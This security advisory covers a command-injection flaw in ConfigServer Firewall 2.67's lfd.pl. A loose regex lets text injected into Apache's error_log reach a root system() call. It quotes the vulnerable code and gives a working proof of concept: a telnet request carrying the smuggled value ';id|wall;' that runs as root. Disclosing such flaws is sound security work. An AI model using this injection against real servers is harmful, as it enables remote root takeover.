CSF 2.67 - LF_HTACCESS insecure regexp



DESCRIPTION


ConfigServer Firewall 2.67 provides the option to detect and block htpasswd based brute force attempts from Apache's error_log. A regular expression in lfd.pl allows a remote, unauthenticated person to inject commands into the log. When lfd scans the log, it parses what it thinks is the source IP address of the attacks, and uses csf.pl to block the host. This is how it works:


In lfd.pl, there is a subroutine called dochecks(), which calls the processline() subroutine. The processline() sub checks for failed login attempts from the Apache error_log. The code looks similar to the following:

 629     if ( $log_line =~ /\[client (.*)\] user .* not found:/ ) {
 630         return ( 'Unsuccessful http auth login from', $1, 'htpasswd' );
 631     }

On line 629 you can see that the following string is being looked for in the log, where the asterisks mean "0 or more of anything":

[client * ] user * not found:

What comes after the word "client" - the (.*) - is what lfd is looking to block. This would typically be an IP address. For example, the log might look like this after a brute force attempt against the username "alice":

[Wed Sep 02 20:56:46 2009] [error] [client 1.2.3.4] user alice not found: /index.html
[Wed Sep 02 20:56:47 2009] [error] [client 1.2.3.4] user alice not found: /index.html
[Wed Sep 02 20:56:48 2009] [error] [client 1.2.3.4] user alice not found: /index.html
[Wed Sep 02 20:56:49 2009] [error] [client 1.2.3.4] user alice not found: /index.html
[Wed Sep 02 20:56:50 2009] [error] [client 1.2.3.4] user alice not found: /index.html
[Wed Sep 02 20:56:51 2009] [error] [client 1.2.3.4] user alice not found: /index.html
[Wed Sep 02 20:56:52 2009] [error] [client 1.2.3.4] user alice not found: /index.html

Thus, on line 630 from above, $1 would be set to 1.2.3.4, since that is what (.*) matched on.


Back in the dochecks() subroutine, we see something similar to the following:

 466     my ( $reason, $ip_address, $application ) = processline( $log_line );
[ ... ]
 496             block( $ip_address, $last_timeout, $num_hits , $application );


Line 466 works out like this:

$reason      = Unsuccessful http auth login from
$ip_address  = 1.2.3.4
$application = htpasswd


Line 496 calls the block() subroutine, which contains the following:

 741     my $ip_address = shift;
[ ... ]
 776             system(" perl /etc/csf/csf.pl -d $ip_address 'lfd: $ipaddr_count unsuccessful logins from $ip_address' ");


On line 741, the variable $ip_address is initialized to 1.2.3.4, and on line 776, the following system() command is run:

perl /etc/csf/csf.pl -d 1.2.3.4 'lfd: 7 unsuccessful logins from 1.2.3.4'


All we need to do to execute commands is to taint the log so that the IP address field contains shell commands. We'll use the following string for command execution:

[client ;id|wall;] user not found:


To take advantage of the issue, we can do this 5 times:

1. telnet x.x.x.x 80

2. Enter: [client ;id|wall;] user not found


This is what the log will look like:

[root@host ~]# tail -f /usr/local/apache/logs/error_log
[Wed Sep 02 21:12:09 2009] [error] [client 1.1.1.1] Invalid URI in request [client ;id|wall;] user alice not found:
[Wed Sep 02 21:12:09 2009] [error] [client 1.1.1.1] Invalid URI in request [client ;id|wall;] user alice not found:
[Wed Sep 02 21:12:09 2009] [error] [client 1.1.1.1] Invalid URI in request [client ;id|wall;] user alice not found:
[Wed Sep 02 21:12:09 2009] [error] [client 1.1.1.1] Invalid URI in request [client ;id|wall;] user alice not found:
[Wed Sep 02 21:12:09 2009] [error] [client 1.1.1.1] Invalid URI in request [client ;id|wall;] user alice not found:


and then observe the fruits of your labor in the console:


Broadcast message from root (Wed Sep  2 21:13:10 2009):

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)



IMPACT


Remote, unauthenticated command execution as root. LF_HTACCESS is disabled by default.

This bug was not reported because it was not discovered until after it had been fixed. I believe this bug was fixed in the release that followed 2.76 as a result of reporting issue #08 (remotely block any IP address, pure-ftpd regexp).